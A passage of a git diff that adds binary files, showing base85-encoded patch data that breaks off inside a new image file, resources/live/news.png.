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 EA444+UH||9 literal 0 HcmV?d00001 diff --git a/resources/live/news.png b/resources/live/news.png new file mode 100644 index 0000000000000000000000000000000000000000..5dcec4cbf1c3efdc2cee59faa92735308c691863 GIT binary patch literal 114761 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 